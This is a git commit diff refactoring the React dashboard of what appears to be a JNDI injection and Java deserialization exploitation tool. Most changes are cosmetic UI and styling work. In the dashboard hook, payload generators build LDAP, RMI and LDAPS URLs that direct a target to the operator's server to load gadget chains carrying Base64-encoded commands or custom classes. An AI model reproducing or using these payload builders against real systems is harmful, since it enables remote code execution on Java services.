修复加载自定义类bug

This commit is contained in:
qi4l
2026-05-29 22:06:07 +08:00
parent 6f3b1b12a3
commit 374800b189
25 changed files with 1126 additions and 735 deletions
BIN
View File
Binary file not shown.
-2
View File
@@ -120,6 +120,4 @@ java.sourceCompatibility = JavaVersion.VERSION_1_8
compileJava { compileJava {
options.compilerArgs << '-XDignore.symbol.file' options.compilerArgs << '-XDignore.symbol.file'
options.fork = true
options.forkOptions.executable = '/Users/qi4l/env/amazon-corretto-8.jdk/Contents/Home/bin/javac'
} }
Binary file not shown.

After

Width:  |  Height:  |  Size: 365 KiB

+5 -1
View File
@@ -9,7 +9,11 @@ export default function App() {
<Routes> <Routes>
<Route path="/" element={<Navigate to="/dashboard" replace />} /> <Route path="/" element={<Navigate to="/dashboard" replace />} />
<Route path="/login" element={<Login />} /> <Route path="/login" element={<Login />} />
<Route path="/user-info" element={<UserInfo />} /> <Route path="/user-info" element={
<ProtectedRoute>
<UserInfo />
</ProtectedRoute>
} />
<Route path="/dashboard" element={ <Route path="/dashboard" element={
<ProtectedRoute> <ProtectedRoute>
<Dashboard /> <Dashboard />
@@ -1,97 +0,0 @@
import { useEffect, useRef } from 'react'
import { useTheme } from '../context/ThemeContext'
export default function AnimatedBackground() {
const { theme } = useTheme()
const canvasRef = useRef(null)
const mouseRef = useRef({ x: 0.5, y: 0.5 })
const rafRef = useRef(null)
useEffect(() => {
const canvas = canvasRef.current
if (!canvas) return
const ctx = canvas.getContext('2d')
let width, height
let time = 0
function resize() {
const dpr = Math.min(window.devicePixelRatio || 1, 2)
width = window.innerWidth
height = window.innerHeight
canvas.width = width * dpr
canvas.height = height * dpr
canvas.style.width = width + 'px'
canvas.style.height = height + 'px'
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
}
resize()
window.addEventListener('resize', resize)
function onMouseMove(e) {
mouseRef.current.x = e.clientX / width
mouseRef.current.y = e.clientY / height
}
window.addEventListener('mousemove', onMouseMove)
const blobs = [
{ x: 0.25, y: 0.30, r: 0.44, sx: 0.12, sy: 0.08, color: theme === 'dark' ? '90, 40, 255' : '50, 80, 255', phase: 0 },
{ x: 0.70, y: 0.25, r: 0.38, sx: 0.10, sy: 0.11, color: theme === 'dark' ? '255, 30, 180' : '255, 60, 180', phase: 1.5 },
{ x: 0.50, y: 0.70, r: 0.46, sx: 0.09, sy: 0.10, color: theme === 'dark' ? '20, 140, 255' : '30, 200, 230', phase: 3 },
{ x: 0.80, y: 0.55, r: 0.34, sx: 0.11, sy: 0.09, color: theme === 'dark' ? '255, 140, 30' : '255, 150, 40', phase: 4.5 },
{ x: 0.20, y: 0.75, r: 0.36, sx: 0.10, sy: 0.12, color: theme === 'dark' ? '30, 220, 160' : '50, 230, 140', phase: 2 },
]
function draw() {
time += 0.0035
ctx.clearRect(0, 0, width, height)
const mx = mouseRef.current.x
const my = mouseRef.current.y
blobs.forEach(blob => {
const bx = width * (blob.x + Math.sin(time + blob.phase) * blob.sx)
const by = height * (blob.y + Math.cos(time * 0.7 + blob.phase) * blob.sy)
const br = Math.min(width, height) * blob.r
const parallaxX = (mx - 0.5) * 30
const parallaxY = (my - 0.5) * 30
const gradient = ctx.createRadialGradient(
bx + parallaxX, by + parallaxY, 0,
bx + parallaxX, by + parallaxY, br
)
const alpha = theme === 'dark' ? 0.22 : 0.40
gradient.addColorStop(0, `rgba(${blob.color}, ${alpha})`)
gradient.addColorStop(0.5, `rgba(${blob.color}, ${alpha * 0.35})`)
gradient.addColorStop(1, `rgba(${blob.color}, 0)`)
ctx.fillStyle = gradient
ctx.fillRect(0, 0, width, height)
})
rafRef.current = requestAnimationFrame(draw)
}
rafRef.current = requestAnimationFrame(draw)
return () => {
window.removeEventListener('resize', resize)
window.removeEventListener('mousemove', onMouseMove)
cancelAnimationFrame(rafRef.current)
}
}, [theme])
return (
<canvas
ref={canvasRef}
style={{
position: 'fixed',
top: 0,
left: 0,
zIndex: -1,
pointerEvents: 'none',
}}
/>
)
}
@@ -0,0 +1,66 @@
export default function ConfigForm({ config, onChange }) {
function update(field, value) {
onChange({ ...config, [field]: value })
}
return (
<div className="config-form">
<div className="form-group">
<label>IP Address</label>
<input type="text" value={config.ip}
onChange={e => update('ip', e.target.value)} />
</div>
<div className="form-group">
<label>LDAP Port</label>
<input type="number" value={config.ldapPort}
onChange={e => update('ldapPort', parseInt(e.target.value) || 1389)} />
</div>
<div className="form-group">
<label>LDAPS Port</label>
<input type="number" value={config.ldapsPort}
onChange={e => update('ldapsPort', parseInt(e.target.value) || 1669)} />
</div>
<div className="form-group">
<label>HTTP Port</label>
<input type="number" value={config.httpPort}
onChange={e => update('httpPort', parseInt(e.target.value) || 3456)} />
</div>
<div className="form-group">
<label>RMI Port</label>
<input type="number" value={config.rmiPort}
onChange={e => update('rmiPort', parseInt(e.target.value) || 1099)} />
</div>
<div className="form-group">
<label>AES Key</label>
<input type="text" value={config.AESkey}
onChange={e => update('AESkey', e.target.value)} />
</div>
<div className="form-group">
<label>LDAP User</label>
<input type="text" value={config.user} placeholder="ldap bind account"
onChange={e => update('user', e.target.value)} />
</div>
<div className="form-group">
<label>LDAP Password</label>
<input type="password" value={config.PASSWD} placeholder="ldap bind password"
onChange={e => update('PASSWD', e.target.value)} />
</div>
<div className="form-group">
<label>JKS Key Password</label>
<input type="password" value={config.keyPass} placeholder="JKS key password"
onChange={e => update('keyPass', e.target.value)} />
</div>
<div className="form-group">
<label>JKS Cert File</label>
<input type="text" value={config.certFile} placeholder="/path/to/cert.jks"
onChange={e => update('certFile', e.target.value)} />
</div>
<div className="form-group" style={{ gridColumn: 'span 3' }}>
<label className="form-group" style={{ marginBottom: 0 }}>
<input type="checkbox" checked={config.TLSProxy}
onChange={e => update('TLSProxy', e.target.checked)} /> TLS Proxy (LDAPS Port Forwarding)
</label>
</div>
</div>
)
}
@@ -0,0 +1,46 @@
const SearchIcon = () => (
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
<circle cx="11" cy="11" r="8"/><path d="m21 21-4.35-4.35"/>
</svg>
)
export default function GadgetSelector({ value, onChange, items, searchValue, onSearchChange, open, onOpenChange, selectedGadget, label }) {
return (
<div style={{ position: 'relative' }}>
<div className="form-group input-icon-wrap">
<label>{label || 'Gadget'}</label>
<input
type="text"
value={value}
placeholder="Type or search..."
onFocus={() => onOpenChange(true)}
onBlur={() => setTimeout(() => onOpenChange(false), 150)}
onChange={e => { onChange(e.target.value); if (onSearchChange) onSearchChange(e.target.value); }}
style={{ cursor: 'text' }}
/>
<span className="input-icon"><SearchIcon /></span>
</div>
{open && (
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
<div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
{items.map(g => (
<div
key={g.name || g}
className={'gadget-item' + (selectedGadget === (g.name || g) ? ' selected' : '')}
onMouseDown={e => {
e.preventDefault()
const name = g.name || g
onChange(name)
if (onSearchChange) onSearchChange(name)
onOpenChange(false)
}}
>
{g.name || g}
</div>
))}
</div>
</div>
)}
</div>
)
}
@@ -1,28 +0,0 @@
import LiquidGlass from 'liquid-glass-react'
export default function LiquidGlassCard({
children,
className = '',
style = {},
...props
}) {
return (
<div className={`liquid-glass-wrapper ${className}`} style={style}>
<LiquidGlass
cornerRadius={28}
displacementScale={48}
blurAmount={1.2}
saturation={160}
aberrationIntensity={1.5}
elasticity={0.12}
mode="standard"
padding="0px"
{...props}
>
<div className="liquid-glass-inner">
{children}
</div>
</LiquidGlass>
</div>
)
}
@@ -0,0 +1,119 @@
import { useEffect, useRef } from 'react'
export default function ParticleBackground() {
const canvasRef = useRef(null)
useEffect(() => {
const canvas = canvasRef.current
if (!canvas) return
const ctx = canvas.getContext('2d')
let animationId
let particles = []
let mouse = { x: null, y: null }
function resize() {
canvas.width = window.innerWidth
canvas.height = window.innerHeight
}
resize()
window.addEventListener('resize', resize)
function handleMouseMove(e) {
mouse.x = e.clientX
mouse.y = e.clientY
}
window.addEventListener('mousemove', handleMouseMove)
class Particle {
constructor() {
this.x = Math.random() * canvas.width
this.y = Math.random() * canvas.height
this.size = Math.random() * 2 + 0.5
this.speedX = (Math.random() - 0.5) * 0.5
this.speedY = (Math.random() - 0.5) * 0.5
this.opacity = Math.random() * 0.5 + 0.2
}
update() {
this.x += this.speedX
this.y += this.speedY
if (this.x < 0) this.x = canvas.width
if (this.x > canvas.width) this.x = 0
if (this.y < 0) this.y = canvas.height
if (this.y > canvas.height) this.y = 0
if (mouse.x != null && mouse.y != null) {
const dx = mouse.x - this.x
const dy = mouse.y - this.y
const dist = Math.sqrt(dx * dx + dy * dy)
if (dist < 150) {
const force = (150 - dist) / 150
this.x -= dx * force * 0.02
this.y -= dy * force * 0.02
}
}
}
draw() {
ctx.beginPath()
ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2)
ctx.fillStyle = `rgba(255, 255, 255, ${this.opacity})`
ctx.fill()
}
}
function init() {
particles = []
const count = Math.min(Math.floor((canvas.width * canvas.height) / 12000), 80)
for (let i = 0; i < count; i++) {
particles.push(new Particle())
}
}
init()
function connect() {
for (let i = 0; i < particles.length; i++) {
for (let j = i + 1; j < particles.length; j++) {
const dx = particles[i].x - particles[j].x
const dy = particles[i].y - particles[j].y
const dist = Math.sqrt(dx * dx + dy * dy)
if (dist < 120) {
ctx.beginPath()
ctx.strokeStyle = `rgba(255, 255, 255, ${0.12 * (1 - dist / 120)})`
ctx.lineWidth = 0.5
ctx.moveTo(particles[i].x, particles[i].y)
ctx.lineTo(particles[j].x, particles[j].y)
ctx.stroke()
}
}
}
}
function animate() {
ctx.clearRect(0, 0, canvas.width, canvas.height)
particles.forEach(p => { p.update(); p.draw() })
connect()
animationId = requestAnimationFrame(animate)
}
animate()
return () => {
cancelAnimationFrame(animationId)
window.removeEventListener('resize', resize)
window.removeEventListener('mousemove', handleMouseMove)
}
}, [])
return (
<canvas
ref={canvasRef}
style={{
position: 'absolute',
inset: 0,
zIndex: 1,
pointerEvents: 'none'
}}
/>
)
}
@@ -0,0 +1,17 @@
import CopyButton from './CopyButton'
import useTypewriter from '../hooks/useTypewriter'
function TypewriterPayload({ text }) {
const { displayed } = useTypewriter(text, 15, true)
return <>{displayed}</>
}
export default function PayloadOutput({ text, style = {} }) {
if (!text) return null
return (
<div className="payload-output" style={{ marginTop: 14, position: 'relative', paddingRight: 42, ...style }}>
<TypewriterPayload text={text} />
<CopyButton text={text} />
</div>
)
}
@@ -0,0 +1,14 @@
export default function ServerStatusCard({ label, port, isRunning, toggling, onClick }) {
return (
<div
className={'status-item status-clickable' + (toggling ? ' status-toggling' : '')}
onClick={onClick}
title={`Click to toggle ${label} server`}
>
<span className="status-label">{label} ({port})</span>
<span className={'status-value ' + (isRunning ? 'status-online' : 'status-offline')}>
{isRunning ? 'ONLINE' : 'OFFLINE'}
</span>
</div>
)
}
+10 -5
View File
@@ -1,18 +1,23 @@
import { createContext, useContext, useEffect } from 'react' import { createContext, useContext, useState, useEffect, useCallback } from 'react'
import { useLocation } from 'react-router-dom'
const ThemeContext = createContext() const ThemeContext = createContext()
export function ThemeProvider({ children }) { export function ThemeProvider({ children }) {
const location = useLocation() const [theme, setTheme] = useState(() => {
const theme = location.pathname === '/login' ? 'dark' : 'light' return localStorage.getItem('jyso_theme') || 'dark'
})
useEffect(() => { useEffect(() => {
document.documentElement.setAttribute('data-theme', theme) document.documentElement.setAttribute('data-theme', theme)
localStorage.setItem('jyso_theme', theme)
}, [theme]) }, [theme])
const toggleTheme = useCallback(() => {
setTheme(prev => prev === 'dark' ? 'light' : 'dark')
}, [])
return ( return (
<ThemeContext.Provider value={{ theme }}> <ThemeContext.Provider value={{ theme, toggleTheme }}>
{children} {children}
</ThemeContext.Provider> </ThemeContext.Provider>
) )
+36 -18
View File
@@ -103,7 +103,9 @@ export default function useDashboard() {
try { try {
const res = await getGadgets() const res = await getGadgets()
setGadgets(res.data) setGadgets(res.data)
} catch (e) { /* ignore */ } } catch (e) {
console.error('Failed to load gadgets:', e)
}
} }
async function handleToggleServer(server) { async function handleToggleServer(server) {
@@ -113,8 +115,9 @@ export default function useDashboard() {
if (res.data.success) { if (res.data.success) {
setStatus(res.data.status) setStatus(res.data.status)
} }
} catch (e) { /* ignore */ } } catch (e) {
finally { setToggling(null) } console.error('Failed to toggle server:', e)
} finally { setToggling(null) }
} }
async function handleSaveConfig() { async function handleSaveConfig() {
@@ -122,8 +125,9 @@ export default function useDashboard() {
try { try {
await updateConfig(configForm) await updateConfig(configForm)
loadStatus() loadStatus()
} catch (e) { /* ignore */ } } catch (e) {
finally { setLoading(false) } console.error('Failed to save config:', e)
} finally { setLoading(false) }
} }
async function handleGeneratePayload() { async function handleGeneratePayload() {
@@ -162,8 +166,9 @@ export default function useDashboard() {
setJndiPayloadResult(`ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`) setJndiPayloadResult(`ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
setRmiPayloadResult(`rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`) setRmiPayloadResult(`rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
setLdapsPayloadResult(`ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`) setLdapsPayloadResult(`ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
} catch (e) { /* ignore */ } } catch (e) {
finally { setLoading(false) } console.error('Failed to generate JNDI payload:', e)
} finally { setLoading(false) }
} }
function handleGenerateClassLoader() { function handleGenerateClassLoader() {
@@ -187,8 +192,9 @@ export default function useDashboard() {
setClassLoaderResult(`ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`) setClassLoaderResult(`ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`)
setRmiClassLoaderResult(`rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`) setRmiClassLoaderResult(`rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`)
setLdapsClassLoaderResult(`ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`) setLdapsClassLoaderResult(`ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`)
} catch (e) { /* ignore */ } } catch (e) {
finally { setLoading(false) } console.error('Failed to generate ClassLoader payload:', e)
} finally { setLoading(false) }
} }
function logout() { function logout() {
@@ -201,8 +207,9 @@ export default function useDashboard() {
try { try {
const res = await getLogs(100) const res = await getLogs(100)
setLogLines(res.data.logs || []) setLogLines(res.data.logs || [])
} catch { /* ignore */ } } catch (e) {
finally { setLogLoading(false) } console.error('Failed to fetch logs:', e)
} finally { setLogLoading(false) }
} }
useEffect(() => { loadStatus(); loadGadgets() }, []) useEffect(() => { loadStatus(); loadGadgets() }, [])
@@ -217,8 +224,9 @@ export default function useDashboard() {
try { try {
const res = await getFiles() const res = await getFiles()
setFiles(res.data) setFiles(res.data)
} catch { /* ignore */ } } catch (e) {
finally { setFilesLoading(false) } console.error('Failed to fetch files:', e)
} finally { setFilesLoading(false) }
} }
async function handleDownloadFile(name) { async function handleDownloadFile(name) {
@@ -230,7 +238,9 @@ export default function useDashboard() {
a.download = name a.download = name
a.click() a.click()
window.URL.revokeObjectURL(url) window.URL.revokeObjectURL(url)
} catch { /* ignore */ } } catch (e) {
console.error('Failed to download file:', e)
}
} }
async function handleDeleteFile(name) { async function handleDeleteFile(name) {
@@ -238,7 +248,9 @@ export default function useDashboard() {
try { try {
await apiDeleteFile(name) await apiDeleteFile(name)
fetchFiles() fetchFiles()
} catch { /* ignore */ } } catch (e) {
console.error('Failed to delete file:', e)
}
} }
function handleDragOver(e) { function handleDragOver(e) {
@@ -250,7 +262,12 @@ export default function useDashboard() {
function handleDragLeave(e) { function handleDragLeave(e) {
e.preventDefault() e.preventDefault()
e.stopPropagation() e.stopPropagation()
setDragOver(false) const rect = e.currentTarget.getBoundingClientRect()
const x = e.clientX
const y = e.clientY
if (x < rect.left || x > rect.right || y < rect.top || y > rect.bottom) {
setDragOver(false)
}
} }
function handleDrop(e) { function handleDrop(e) {
@@ -280,8 +297,9 @@ export default function useDashboard() {
if (res.data.success) { if (res.data.success) {
fetchFiles() fetchFiles()
} }
} catch (e) { /* ignore */ } } catch (e) {
finally { console.error('Failed to upload file:', e)
} finally {
setUploading(false) setUploading(false)
} }
} }
@@ -0,0 +1,34 @@
import { useState, useEffect, useRef } from 'react'
export default function useTypewriter(text, speed = 30, enabled = true) {
const [displayed, setDisplayed] = useState('')
const [done, setDone] = useState(false)
const indexRef = useRef(0)
const textRef = useRef(text)
useEffect(() => {
if (!enabled) {
setDisplayed(text)
setDone(true)
return
}
indexRef.current = 0
setDisplayed('')
setDone(false)
textRef.current = text
const interval = setInterval(() => {
if (indexRef.current < textRef.current.length) {
setDisplayed(textRef.current.slice(0, indexRef.current + 1))
indexRef.current++
} else {
setDone(true)
clearInterval(interval)
}
}, speed)
return () => clearInterval(interval)
}, [text, speed, enabled])
return { displayed, done }
}
+231 -4
View File
@@ -141,7 +141,7 @@ code, pre, .mono {
align-self: stretch; align-self: stretch;
position: relative; position: relative;
overflow: hidden; overflow: hidden;
transition: width var(--transition-fast); transition: width var(--transition-fast), opacity var(--transition-fast), transform var(--transition-fast);
display: flex; display: flex;
flex-direction: column; flex-direction: column;
} }
@@ -150,6 +150,20 @@ code, pre, .mono {
width: 60px; width: 60px;
} }
.sidebar-hidden {
width: 0;
border-right: none;
overflow: hidden;
opacity: 0;
transform: translateX(-20px);
}
.sidebar-visible {
width: 260px;
opacity: 1;
transform: translateX(0);
}
.sidebar-content { .sidebar-content {
padding: 20px 16px; padding: 20px 16px;
position: relative; position: relative;
@@ -164,6 +178,30 @@ code, pre, .mono {
padding: 20px 12px; padding: 20px 12px;
} }
.sidebar-trigger-btn {
position: fixed;
top: 16px;
left: 16px;
width: 36px;
height: 36px;
border-radius: 8px;
border: none;
background: rgba(0, 0, 0, 0.45);
color: rgba(255, 255, 255, 0.7);
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
transition: all var(--transition-fast);
z-index: 100;
padding: 0;
}
.sidebar-trigger-btn:hover {
background: rgba(0, 0, 0, 0.65);
color: #FFFFFF;
}
.sidebar-toggle-btn { .sidebar-toggle-btn {
position: absolute; position: absolute;
bottom: 16px; bottom: 16px;
@@ -337,6 +375,10 @@ code, pre, .mono {
padding: 32px 28px; padding: 32px 28px;
} }
.main-content-full {
padding-left: 64px;
}
.header h1 { .header h1 {
font-size: 18px; font-size: 18px;
font-weight: 700; font-weight: 700;
@@ -477,6 +519,22 @@ code, pre, .mono {
z-index: 0; z-index: 0;
} }
.glass-card::after {
content: '';
position: absolute;
inset: 0;
border-radius: inherit;
background: radial-gradient(600px circle at var(--mouse-x, 50%) var(--mouse-y, 50%), rgba(255,255,255,0.06), transparent 40%);
pointer-events: none;
z-index: 0;
opacity: 0;
transition: opacity var(--transition-fast);
}
.glass-card:hover::after {
opacity: 1;
}
.glass-card > * { .glass-card > * {
position: relative; position: relative;
z-index: 1; z-index: 1;
@@ -661,8 +719,26 @@ code, pre, .mono {
font-family: var(--font-mono); font-family: var(--font-mono);
} }
.status-online { color: var(--success); } .status-online { color: var(--success); position: relative; }
.status-offline { color: var(--danger); } .status-offline { color: var(--danger); position: relative; }
.status-online::before {
content: '';
position: absolute;
left: -10px;
top: 50%;
transform: translateY(-50%);
width: 6px;
height: 6px;
border-radius: 50%;
background: var(--success);
animation: statusPulse 2s ease-in-out infinite;
}
@keyframes statusPulse {
0%, 100% { box-shadow: 0 0 0 0 rgba(52, 199, 89, 0.4); }
50% { box-shadow: 0 0 0 6px rgba(52, 199, 89, 0); }
}
/* ===== iOS 26 Login ===== */ /* ===== iOS 26 Login ===== */
.login-wrapper { .login-wrapper {
@@ -676,6 +752,112 @@ code, pre, .mono {
overflow: hidden; overflow: hidden;
} }
.login-wrapper::before {
content: '';
position: absolute;
inset: 0;
background-image: url('/login-bg.jpeg');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
z-index: 0;
}
.login-wrapper::after {
content: '';
position: absolute;
inset: 0;
background: rgba(0, 0, 0, 0.35);
z-index: 0;
}
.login-acrylic-card {
position: relative;
z-index: 1;
width: 400px;
border-radius: 36px;
background: transparent;
backdrop-filter: none;
-webkit-backdrop-filter: none;
border: 1px solid rgba(255, 255, 255, 0.2);
box-shadow:
0 8px 32px rgba(0, 0, 0, 0.08),
0 2px 8px rgba(0, 0, 0, 0.06),
inset 0 0 0 0.5px rgba(255, 255, 255, 0.6);
transition: all var(--transition-fluid);
overflow: hidden;
}
.login-acrylic-card::before {
content: '';
position: absolute;
inset: 0;
border-radius: inherit;
background: linear-gradient(
155deg,
rgba(255, 255, 255, 0.55) 0%,
rgba(255, 255, 255, 0.15) 35%,
transparent 60%,
rgba(255, 255, 255, 0.08) 100%
);
pointer-events: none;
z-index: 0;
}
.login-acrylic-card::after {
content: '';
position: absolute;
inset: 0;
border-radius: inherit;
background: linear-gradient(
200deg,
transparent 50%,
rgba(255, 255, 255, 0.12) 100%
);
pointer-events: none;
z-index: 0;
}
.login-acrylic-card:hover {
box-shadow:
0 16px 48px rgba(0, 0, 0, 0.10),
0 4px 12px rgba(0, 0, 0, 0.08),
inset 0 0 0 0.5px rgba(255, 255, 255, 0.7);
transform: translateY(-2px);
}
[data-theme="dark"] .login-acrylic-card {
background: rgba(28, 28, 30, 0.35);
border-color: rgba(255, 255, 255, 0.12);
box-shadow:
0 8px 32px rgba(0, 0, 0, 0.24),
0 2px 8px rgba(0, 0, 0, 0.32),
inset 0 0 0 0.5px rgba(255, 255, 255, 0.10);
}
[data-theme="dark"] .login-acrylic-card::before {
background: linear-gradient(
155deg,
rgba(255, 255, 255, 0.12) 0%,
rgba(255, 255, 255, 0.04) 35%,
transparent 60%,
rgba(255, 255, 255, 0.03) 100%
);
}
[data-theme="dark"] .login-acrylic-card::after {
background: linear-gradient(
200deg,
transparent 50%,
rgba(255, 255, 255, 0.06) 100%
);
}
.login-acrylic-card > * {
position: relative;
z-index: 1;
}
.login-inner { .login-inner {
padding: 52px 44px 44px; padding: 52px 44px 44px;
} }
@@ -815,6 +997,15 @@ code, pre, .mono {
display: none; display: none;
} }
.btn-spinner {
animation: btnSpin 1s linear infinite;
}
@keyframes btnSpin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
.btn-secondary { .btn-secondary {
background: rgba(120, 120, 128, 0.10); background: rgba(120, 120, 128, 0.10);
color: var(--accent); color: var(--accent);
@@ -895,7 +1086,7 @@ code, pre, .mono {
height: calc(100% - 6px); height: calc(100% - 6px);
background: var(--accent); background: var(--accent);
border-radius: 10px; border-radius: 10px;
transition: transform var(--transition-spring); transition: transform var(--transition-spring), width var(--transition-spring);
box-shadow: 0 2px 10px var(--accent-glow), inset 0 1px 0 rgba(255,255,255,0.2); box-shadow: 0 2px 10px var(--accent-glow), inset 0 1px 0 rgba(255,255,255,0.2);
z-index: 0; z-index: 0;
} }
@@ -912,6 +1103,16 @@ code, pre, .mono {
width: calc(33.333% - 4px); width: calc(33.333% - 4px);
} }
.tab-segment-control .tab-indicator {
position: absolute;
bottom: -2px;
height: 2px;
background: var(--accent);
border-radius: 1px;
transition: all var(--transition-spring);
z-index: 2;
}
.tab-segment-btn { .tab-segment-btn {
position: relative; position: relative;
z-index: 1; z-index: 1;
@@ -1327,18 +1528,44 @@ select {
font-size: 13px; font-size: 13px;
font-family: 'Inter', sans-serif; font-family: 'Inter', sans-serif;
backdrop-filter: blur(8px); backdrop-filter: blur(8px);
position: relative;
overflow: hidden;
}
.file-upload-zone::before {
content: '';
position: absolute;
inset: 0;
background: radial-gradient(circle at center, var(--accent-glow) 0%, transparent 70%);
opacity: 0;
transition: opacity var(--transition-fast);
pointer-events: none;
} }
.file-upload-zone:hover { .file-upload-zone:hover {
border-color: var(--accent); border-color: var(--accent);
color: var(--accent); color: var(--accent);
background: var(--accent-glow); background: var(--accent-glow);
transform: translateY(-2px);
box-shadow: 0 4px 16px var(--accent-glow);
} }
.file-upload-zone.drag-over { .file-upload-zone.drag-over {
border-color: var(--accent); border-color: var(--accent);
background: var(--accent-glow); background: var(--accent-glow);
color: var(--accent); color: var(--accent);
transform: scale(1.02);
box-shadow: 0 0 24px var(--accent-glow);
}
.file-upload-zone.drag-over::before {
opacity: 1;
animation: uploadPulse 1.5s ease-in-out infinite;
}
@keyframes uploadPulse {
0%, 100% { transform: scale(1); opacity: 0.5; }
50% { transform: scale(1.1); opacity: 0.8; }
} }
.file-upload-zone.uploading { .file-upload-zone.uploading {
+180 -349
View File
@@ -1,7 +1,10 @@
import { useState } from 'react' import { useState, useEffect } from 'react'
import { useToast } from '../components/Toast' import { useToast } from '../components/Toast'
import useDashboard from '../hooks/useDashboard' import useDashboard from '../hooks/useDashboard'
import CopyButton from '../components/CopyButton' import ServerStatusCard from '../components/ServerStatusCard'
import GadgetSelector from '../components/GadgetSelector'
import PayloadOutput from '../components/PayloadOutput'
import ConfigForm from '../components/ConfigForm'
const ExternalLinkIcon = () => ( const ExternalLinkIcon = () => (
<svg width="12" height="12" viewBox="0 0 16 16" fill="none"> <svg width="12" height="12" viewBox="0 0 16 16" fill="none">
@@ -10,12 +13,6 @@ const ExternalLinkIcon = () => (
</svg> </svg>
) )
const SearchIcon = () => (
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
<circle cx="11" cy="11" r="8"/><path d="m21 21-4.35-4.35"/>
</svg>
)
const CommandIcon = () => ( const CommandIcon = () => (
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round"> <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/> <polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/>
@@ -77,7 +74,22 @@ const LogoutIcon = () => (
export default function Dashboard() { export default function Dashboard() {
const { showToast } = useToast() const { showToast } = useToast()
const d = useDashboard() const d = useDashboard()
const [sidebarCollapsed, setSidebarCollapsed] = useState(false) const [sidebarHidden, setSidebarHidden] = useState(true)
useEffect(() => {
function handleMouseMove(e) {
const cards = document.querySelectorAll('.glass-card')
cards.forEach(card => {
const rect = card.getBoundingClientRect()
const x = e.clientX - rect.left
const y = e.clientY - rect.top
card.style.setProperty('--mouse-x', `${x}px`)
card.style.setProperty('--mouse-y', `${y}px`)
})
}
window.addEventListener('mousemove', handleMouseMove)
return () => window.removeEventListener('mousemove', handleMouseMove)
}, [])
async function handleToggleServer(server) { async function handleToggleServer(server) {
await d.handleToggleServer(server) await d.handleToggleServer(server)
@@ -113,25 +125,37 @@ export default function Dashboard() {
} }
} }
async function doUpload(file) { const servers = [
await d.doUpload(file) { key: 'ldap', label: 'LDAP', port: d.status.ldapPort, running: d.status.ldapRunning },
showToast(`Uploaded: ${file.name}`, 'success') { key: 'ldaps', label: 'LDAPS', port: d.status.ldapsPort, running: d.status.ldapsRunning },
} { key: 'http', label: 'HTTP', port: d.status.httpPort, running: d.status.httpRunning },
{ key: 'rmi', label: 'RMI', port: d.status.rmiPort, running: d.status.rmiRunning },
]
const ROUTING_ITEMS = d.ROUTING_OPTIONS.map(opt => ({ name: opt }))
return ( return (
<div> <div>
<div className="dashboard-bg" /> <div className="dashboard-bg" />
<div className="page-shell dashboard-layout"> <div className="page-shell dashboard-layout">
<aside className={'sidebar' + (sidebarCollapsed ? ' collapsed' : '')}> <button
className="sidebar-trigger-btn"
onClick={() => setSidebarHidden(v => !v)}
title={sidebarHidden ? 'Expand sidebar' : 'Collapse sidebar'}
>
{sidebarHidden ? <MenuIcon /> : <CloseIcon />}
</button>
<aside className={'sidebar sidebar-hidden' + (sidebarHidden ? '' : ' sidebar-visible')}>
<div className="sidebar-content"> <div className="sidebar-content">
<button <button
className="sidebar-toggle-btn" className="sidebar-toggle-btn"
onClick={() => setSidebarCollapsed(v => !v)} onClick={() => setSidebarHidden(v => !v)}
title={sidebarCollapsed ? 'Expand sidebar' : 'Collapse sidebar'} title={sidebarHidden ? 'Expand sidebar' : 'Collapse sidebar'}
> >
<span className="toggle-icon-default"> <span className="toggle-icon-default">
{sidebarCollapsed ? <MenuIcon /> : <CloseIcon />} {sidebarHidden ? <MenuIcon /> : <CloseIcon />}
</span> </span>
<span className="toggle-icon-hover"> <span className="toggle-icon-hover">
<ArrowRightIcon /> <ArrowRightIcon />
@@ -171,7 +195,7 @@ export default function Dashboard() {
</div> </div>
</aside> </aside>
<main className="main-content"> <main className={'main-content' + (sidebarHidden ? ' main-content-full' : '')}>
<div key={d.animKey}> <div key={d.animKey}>
{d.mode === 'jndi' && ( {d.mode === 'jndi' && (
<> <>
@@ -179,307 +203,138 @@ export default function Dashboard() {
<div className="glass-card section-enter" style={{ width: 200, flexShrink: 0, marginBottom: 0 }}> <div className="glass-card section-enter" style={{ width: 200, flexShrink: 0, marginBottom: 0 }}>
<h2>Server Status</h2> <h2>Server Status</h2>
<div className="status-grid" style={{ gridTemplateColumns: '1fr' }}> <div className="status-grid" style={{ gridTemplateColumns: '1fr' }}>
<div className={'status-item status-clickable' + (d.toggling === 'ldap' ? ' status-toggling' : '')} {servers.map(s => (
onClick={() => handleToggleServer('ldap')} <ServerStatusCard
